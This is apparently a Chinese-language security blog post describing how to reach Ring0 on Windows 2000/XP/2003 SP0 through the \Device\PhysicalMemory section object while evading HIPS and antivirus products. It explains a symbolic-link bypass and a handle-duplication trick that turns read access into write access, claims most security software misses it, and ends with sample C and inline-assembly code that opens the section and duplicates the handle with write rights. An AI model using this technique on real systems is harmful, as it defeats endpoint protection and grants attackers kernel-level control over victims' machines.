眾所周知,WINDOWS 2000/XP/2003 SP0系統上,提供了一個\Device\PhysicalMemory的Section對象,可以直接操作實體記憶體對象。直接操作此對象映射的實體記憶體,可以操作RING0記憶體,達到無驅進入RING0的目的。
這已是很多年前就被用爛了的技術了,大部分驅動防火牆、絕大部分HIPS軟體、AntiVirus軟體等都對此進行了防禦。不過,老樹也能開新花,我們來看看這個東東的新利用方法:
1).CreateSymbolicLink,這也是很古老的方法,很多安全軟體也已經防禦。因為一些安全軟體只防禦了NtOpenSection,並根據開啟的對象名是否是\Device\PhysicalMemory來進行攔截,但是只要對\Device\PhysicalMemory建立符號連結,那麼一樣可以使用NtOpenSection開啟
2).Duplicate法,大部分目前的安全軟體,都是攔截\Device\PhysicalMemory並判斷DesiredAccess是否包含SECTION_MAP_WRITE(除了一些極端無聊的沒人用的HIPS外,這種的完全可以無視), 因為一些正常的軟體,也需要開啟\Device\PhysicalMemory進行實體記憶體讀入(例如微軟Wga~)。
但這就讓攻擊者有空可鑽,攻擊者可以先以SECTION_MAP_READ開啟實體記憶體對象,再以SECTION_MAP_WRITE方式duplicate handle,這樣就可以擷取對實體記憶體的寫入權限,進行實體記憶體寫入了。大部分安全軟體都沒有防禦這種方式(例如瑞*),這樣,攻擊者又重新獲得了對於系統至高無上的權利~
範例程式碼:
UNICODE_STRING uniname ;
OBJECT_ATTRIBUTES oba ;
HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwOpenSection");
uniname.Buffer = (PWSTR)phyname;
uniname.Length = sizeof(phyname) - sizeof(WCHAR);
uniname.MaximumLength = sizeof(uniname);
HANDLE handle ;
LONG stat ;
InitializeObjectAttributes(&oba , &uniname , 0x40 , 0 , 0 );
__asm{
lea eax , oba
push eax
push 4
lea eax , handle
push eax
call p
mov stat , eax
}
printf("stat 1 %08x\n" , stat);
HANDLE xhandle ;
BOOL bret = DuplicateHandle(GetCurrentProcess() , handle,GetCurrentProcess() , &xhandle , SECTION_MAP_WRITE | SECTION_MAP_READ , FALSE , DUPLICATE_CLOSE_SOURCE);